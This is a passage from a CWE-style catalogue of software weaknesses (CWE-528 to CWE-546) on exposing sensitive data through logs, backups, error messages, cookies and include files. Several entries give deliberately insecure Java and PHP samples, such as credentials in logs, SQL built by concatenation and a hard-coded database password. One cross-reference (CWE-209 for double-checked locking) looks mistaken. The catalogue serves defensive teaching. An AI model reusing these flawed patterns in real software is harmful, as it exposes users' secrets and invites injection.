The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		552	Files or Directories Accessible to External Parties	1193

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories	






### Potential Mitigations

#### Phase: System Configuration

Protect the core dump files from unauthorized access.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk

## CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

**Weakness ID :** 529  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

### Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		552	Files or Directories Accessible to External Parties	1193

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Access Control	Bypass Protection Mechanism	




### Potential Mitigations

#### Phase: System Configuration

Protect access control list files.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

**Weakness ID :** 530  
**Structure :** Simple  
**Abstraction :** Variant

### Description

A backup file is stored in a directory or archive that is made accessible to unauthorized actors.

## Extended Description

Often, older backup files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		552	Files or Directories Accessible to External Parties	1193

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.</i>	




## Potential Mitigations

### Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-531: Inclusion of Sensitive Information in Test Code

**Weakness ID :** 531  
**Structure :** Simple  
**Abstraction :** Variant

## Description

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		540	Inclusion of Sensitive Information in Source Code	1180

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

**Phase: Distribution**

**Phase: Installation**

Remove test code before deploying the application into production.



## Demonstrative Examples

### Example 1:

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	2214

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP28		Unexpected access points

## CWE-532: Insertion of Sensitive Information into Log File

**Weakness ID** : 532

**Structure** : Simple

**Abstraction** : Base

### Description

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.

### Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.


Different log files may be produced and stored for:

- Server log files (e.g. server.log). This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
- log files that are used for debugging


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1178

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2268
MemberOf		199	Information Management Errors	2104

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.</i>	

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

#### Phase: Distribution

Remove debug log files before deploying the application into production.

#### Phase: Operation

Protect log files against unauthorized read/write.

#### Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.

## Demonstrative Examples

### Example 1:

In the following code snippet, a user's full name and credit card number are written to a log file.

*Example Language: Java*

*(Bad)*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

### Example 2:

This code stores location information about the current user:

*Example Language: Java*

*(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

### Example 3:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

*Example Language: Java*

*(Bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose



the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

### Observed Examples

Reference	Description
<b>CVE-2017-9615</b>	verbose logging stores admin credentials in a world-readable log file <a href="https://www.cve.org/CVERecord?id=CVE-2017-9615">https://www.cve.org/CVERecord?id=CVE-2017-9615</a>
<b>CVE-2018-1999036</b>	SSH password for private key stored in build log <a href="https://www.cve.org/CVERecord?id=CVE-2018-1999036">https://www.cve.org/CVERecord?id=CVE-2018-1999036</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	<b>C</b>	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	<b>C</b>	1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2289

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	FIO13-J		Do not log sensitive information outside a trust boundary
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
215	Fuzzing for application mapping

## CWE-535: Exposure of Information Through Shell Error Message

**Weakness ID** : 535

**Structure** : Simple

**Abstraction** : Variant

### Description

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	211	Externally-Generated Error Message Containing Sensitive Information	518

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	Ⓒ	963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-536: Servlet Runtime Error Message Containing Sensitive Information

**Weakness ID** : 536

**Structure** : Simple

**Abstraction** : Variant

### Description

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	211	Externally-Generated Error Message Containing Sensitive Information	518

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
	<i>The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application files or configuration information. It may even disclose the portion of code that failed. In many cases, an attacker can use the data to launch further attacks against the system.</i>	

### Demonstrative Examples

#### Example 1:

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Example Language: Java

(Bad)

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String username = request.getParameter("username");
    // May cause unchecked NullPointerException.
    if (username.length() < 10) {
        ...
    }
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193

## CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID : 537

Structure : Simple

Abstraction : Variant

### Description

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	211	Externally-Generated Error Message Containing Sensitive Information	518

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

#### Phase: Implementation

Do not expose sensitive error information to the user.

### Demonstrative Examples

#### Example 1:

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file

to be read in the default directory. The method `readInputFile` will create the `FileReader` object and will read the contents of the file. If the method `setInputFile` is not called prior to calling the method `readInputFile` then the `File` object will remain null when initializing the `FileReader` object. A Java `RuntimeException` will be raised, and an error message will be output to the user.

Example Language: Java

(Bad)

```
public class InputFileRead {
    private File readFile = null;
    private FileReader reader = null;
    private String inputFilePath = null;
    private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";
    public InputFileRead() {
        inputFilePath = DEFAULT_FILE_PATH;
    }
    public void setInputFile(String inputFile) {
        /* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
    }
    public void readInputFile() {
        try {
            reader = new FileReader(readFile);
            ...
        } catch (RuntimeException rex) {
            System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
            System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");
        } catch (FileNotFoundException ex) {...}
    }
}
```

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java `RuntimeExceptions` that are handled should not expose sensitive information to the user.

### Example 2:

In the example below, the `BankManagerLoginServlet` servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The `doPost` method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a `FailedLoginException` and output the failed login message to the error page of the service.

Example Language: Java

(Bad)

```
public class BankManagerLoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        try {
            // Get username and password from login page request
            String username = request.getParameter("username");
            String password = request.getParameter("password");
            // Authenticate user
            BankManager bankMgr = new BankManager();
            boolean isAuthentic = bankMgr.authenticateUser(username, password);
            // If user is authenticated then go to successful login page
            if (isAuthentic) {
                request.setAttribute("login", new String("Login Successful."));
                getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp").forward(request, response);
            }
            else {
                // Otherwise, raise failed login exception and output unsuccessful login message to error page
                throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
            }
        } catch (FailedLoginException ex) {
            // output failed login message to error page
        }
    }
}
```

```

request.setAttribute("error", new String("Login Error"));
request.setAttribute("message", ex.getMessage());
getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
}
}

```

However, the output message generated by the `FailedLoginException` includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

**Weakness ID** : 538

**Structure** : Simple

**Abstraction** : Base

### Description

The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	484
ParentOf	E	532	Insertion of Sensitive Information into Log File	1171
ParentOf	E	540	Inclusion of Sensitive Information in Source Code	1180
ParentOf	V	651	Exposure of WSDL File Containing Sensitive Information	1350

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

**Phase: System Configuration**

Do not expose file and directory information to the user.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2151
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## Notes

### Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

### Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
95	WSDL Scanning

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-539: Use of Persistent Cookies Containing Sensitive Information

**Weakness ID** : 539

**Structure** : Simple

**Abstraction** : Variant

### Description

The web application uses persistent cookies, but the cookies contain sensitive information.

### Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just

live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		552	Files or Directories Accessible to External Parties	1193

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	




## Potential Mitigations

### Phase: Architecture and Design

Do not store sensitive information in persistent cookies.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

## CWE-540: Inclusion of Sensitive Information in Source Code

**Weakness ID** : 540

**Structure** : Simple

**Abstraction** : Base

### Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

### Extended Description







There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1178
ParentOf		531	Inclusion of Sensitive Information in Test Code	1170
ParentOf		541	Inclusion of Sensitive Information in an Include File	1181
ParentOf		615	Inclusion of Sensitive Information in Source Code Comments	1294

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations





**Phase: Architecture and Design**

**Phase: System Configuration**

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## CWE-541: Inclusion of Sensitive Information in an Include File

**Weakness ID** : 541

**Structure** : Simple

**Abstraction** : Variant

## Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		540	Inclusion of Sensitive Information in Source Code	1180

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Architecture and Design

Do not store sensitive information in include files.

### Phase: Architecture and Design

### Phase: System Configuration

Protect include files from being exposed.

## Demonstrative Examples

### Example 1:

The following code uses an include file to store database credentials:

database.inc

*Example Language: PHP*

*(Bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

*Example Language: PHP*

*(Bad)*



```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

## CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

**Weakness ID** : 543

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses the singleton pattern when creating a resource within a multithreaded environment.


### Extended Description

The use of a singleton pattern may not be thread-safe.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		820	Missing Synchronization	1601

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

### Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

#### Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

**Phase: Implementation**

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

*Effectiveness = Limited*

**Demonstrative Examples****Example 1:**

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

*Example Language: Java*

*(Bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
    if (singleton == null) {
        singleton = new NumberConverter();
    }
    return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf		986	SFP Secondary Cluster: Missing Lock	888	2205

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC07-J		Prevent multiple instantiations of singleton objects
Software Fault Patterns	SFP19		Missing Lock

**References**

[REF-474]Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specific Storage for C/C++". < <http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf> >.

## CWE-544: Missing Standardized Error Handling Mechanism

**Weakness ID** : 544

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

### Extended Description

If the product handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1468

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1012	Cross Cutting	2220

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Common Consequences

Scope	Impact	Likelihood
Integrity	Quality Degradation	
Other	Unexpected State Varies by Context	

### Potential Mitigations

#### Phase: Architecture and Design

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2143
MemberOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf		961	SFP Secondary Cluster: Incorrect Exception Behavior	888	2192

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy

## CWE-546: Suspicious Comment

**Weakness ID :** 546

**Structure :** Simple

**Abstraction :** Variant

### Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.


### Extended Description

